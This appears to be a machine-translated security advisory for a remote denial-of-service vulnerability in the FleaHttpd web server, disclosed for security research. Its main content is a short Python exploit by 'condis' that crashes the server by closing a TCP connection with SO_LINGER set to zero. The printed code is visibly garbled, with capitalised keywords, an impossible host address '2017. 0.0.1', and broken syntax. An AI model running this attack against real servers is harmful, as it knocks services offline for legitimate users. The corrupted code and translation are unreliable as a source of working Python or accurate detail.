FleaHttpd Remote Denial of Service Vulnerability

Release date: 2011-11-16
Updated on: 2011-11-17

Affected Systems:
FleaHttpd
Description:
--------------------------------------------------------------------------------
Bugtraq id: 50695

FleaHttpd "flea server" is a lightweight network server written from scratch in C. It captures static files at about three times faster than Apache.

FleaHttpd has a remote denial-of-service vulnerability. Remote attackers can exploit this vulnerability to crash applications and DOS legitimate users.

<* Source: condis
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

#! /Usr/bin/python

"""

FleaHttpd Remote Denial Of Service Exploit
By condis

"FleaHttpd is a http daemon written from scratch in C. When working as
Static file server, data show that under certain condition, fleahttpd's
Speed for static file retrieving can be three times faster than Apache2"

Project site (source): http://code.google.com/p/fleahttpd/source/browse/trunk/fleahttpd.c
Tested on: Linux Debian

Just 4 fun: x

"""

Import sys, socket, struct

Host = '2017. 0.0.1'
Port = 80

Try:
Sock = socket. socket (socket. AF_INET, socket. SOCK_STREAM)
Sock. setsockopt (socket. SOL_SOCKET, socket. SO_LINGER, struct. pack ('II', 1, 0 ))
Sock. connect (host, port ))
Sock. close ()
Print "Phuck3d! "

Except t:
Print "whOoPs ?! "

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

FleaHttpd
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://code.google.com/p/fleahttpd/source/browse/trunk/fleahttpd.c